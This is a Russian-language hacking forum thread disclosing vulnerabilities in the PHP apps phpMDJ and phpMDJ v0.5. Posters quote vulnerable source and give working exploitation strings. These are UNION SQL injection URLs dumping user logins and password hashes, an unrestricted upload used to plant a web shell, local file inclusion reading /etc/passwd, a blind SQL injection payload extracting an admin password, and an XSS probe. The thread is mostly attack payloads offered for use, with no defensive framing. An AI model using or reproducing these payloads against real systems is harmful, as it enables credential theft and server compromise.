phpMDJ

Discussion in 'Веб-уязвимости' started by HAXTA4OK, 8 Nov 2009.

  1. HAXTA4OK

    HAXTA4OK Super Moderator Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    SQL-inj

    Файл profil.php

    PHP:
    $membre $_GET['id'];            
    $sql "SELECT a.nom AS nGroupe, u.* FROM phpmdj_users u, phpmdj_auth a WHERE u.groupe = a.id_groupe AND u.id = $membre";  
    Code:
    http://localhost/phpMDJ/profil.php?id=-1+union+select+1,2,concat_ws(0x3a,pseudo,mdp),4,5,6,7,8,9,10,11,12,13,14,15,16+from+phpmdj_users--
    Файл calendrire.php

    PHP:
    $event     $_GET['id'];
    ....
    elseif(
    $mode == "anime")
    {
    $sql     "SELECT * FROM phpmdj_animes WHERE id_anime = $event";
    http://localhost/phpMDJ/calendrier.php?mode=anime&id=1+union+select+1,2,unhex(hex(version())),4,5,6,7--


    Залитие шелла

    Файл admin_download.php

    PHP:
    $rep         "../documents/";                  
    $savefile     $rep.$_FILES["userfile"]["name"];       
    $temp         $_FILES["userfile"]["tmp_name"];  
    $fichier     $_FILES["userfile"]["name"];          
    $titre prepareText($_POST["titre"]); 
    $date mktime();
    $groupe$_POST['groupe'];
    if(
    move_uploaded_file($temp$savefile))   
    http://localhost/phpMDJ/admin/admin_download.php?mode=ajout

    Льем шелл и как видим он попадает в папку documents =>

    http://localhost/phpMDJ/documents/shell.php

    SQL в админке (не так важно, но все же поиск багов)

    Файл admin_news

    PHP:
    $news $_GET['id_news'];  
    ...
    elseif(
    $mode == "edit")
            {
                
    $sql     "SELECT * FROM phpmdj_news WHERE id_news = $news";

    http://localhost/phpMDJ/admin/admin_news.php?mode=edit&id_news=-2+union+select+1,2,version(),4,5,6--

    aXSS

    Отправляем письмо c заголовком <script>alert()</script>
     
    _________________________
    #1 HAXTA4OK, 8 Nov 2009
    Last edited: 8 Nov 2009
    13 people like this.
    1. _iks_

      _iks_ Member

      Joined:
      21 Feb 2009
      Messages:
      60
      Likes Received:
      59
      Reputations:
      61
      phpMDJ v0.5(latest)
      Download: http://sourceforge.net/projects/phpdj/

      LFI(mq==off):

      Уязвимый файл:
      ./dj/djpage.php

      Код:
      PHP:
      ...
      $page $_GET['page'];
      $type $_GET['type'];
      $name $_GET['name'];

      if (
      $_SESSION["phprank"] == "Suspended"){
      echo 
      "Your account is suspended.  You may <b>NOT</b> access this page.";
      include 
      "blank.html";
      exit();
      } else if(
      $page == "main"){
      echo 
      "Welcome to Radio Panel™, <b>".$_SESSION["phpname"]."</b>.<br>You are currently a(n) <b>".$_SESSION["phprank"];
      ...
      //проверяет содержимое page и делает что-то как в коде выше
      ...
      } else if (
      $type == "html") {
              include 
      "$page.html";
              } else {
              include 
      "$page.php";
              }
      Эксплуатация:
      ./dj/djpage.php?page=../../../../../../../../etc/passwd%00​
       
      1 person likes this.
      1. Ctacok

        Ctacok Banned

        Joined:
        19 Dec 2008
        Messages:
        732
        Likes Received:
        646
        Reputations:
        251
        Вообще-то, там выполнение кода, без mq=off можно :)

        (Ну если mq =on то base64 :) )


        Ща пишу сплойт, точнее писал. Закончу выложу.
        Blind Sql injection.

        Уязвимый файл:
        usercomplaint.php

        PHP:
        $djname=$_POST['djname'];
        $user=$_POST['offusername'];
        $userip=$_POST['offip'];
        $complaint=$_POST['comments'];
        $djip=$_SERVER['REMOTE_ADDR']; 
        $date=date('F jS Y, h:iA');

        include (
        "sql.php");
        mysql_query("INSERT INTO `abuse` ( `djname` , `djip` , `date` , `user` , `userip` , `complaint` ) VALUES ( '$djname' , '$djip' , '$date' , '$user' , '$userip' , '$complaint ')")
        or die (
        "Could not insert into database.".mysql_error());

        echo 
        "Report succesfully sent.";
        How to:
        PHP:
        1',(SELECT name FROM members where rank=char(97,100,109,105,110) AND ascii(lower(substring((SELECT pass from members),1,1)))>=100),null,null,null,null)-- 
        Post'ом естественно.
        Sql injection:
        Need mq = off
        PHP:
        $name $_GET["name"];
        // Стасок плакал
        $sql_pass_get "SELECT * FROM profile WHERE name='$name'";
        Blind SQL injection
        dj/showalert.php
        PHP:
        $message=$_POST['message'];
        $checkip=$_POST['checkip']; 
        $djname=$_POST['djname'];  

        include 
        "sql.php";

            
        mysql_query("TRUNCATE TABLE `ipalert`");

            
        mysql_query("INSERT INTO `ipalert` ( `IP` , `message` , `djname` ) VALUES ( '$checkip', '$message' , '$djname' );")
            or die (
        "Could not insert into database.");

        echo 
        "Alert issued.";
        Аналогично верхнему, токо чуть чуть подругому.
         
        #3 Ctacok, 5 Jul 2010
        Last edited: 5 Jul 2010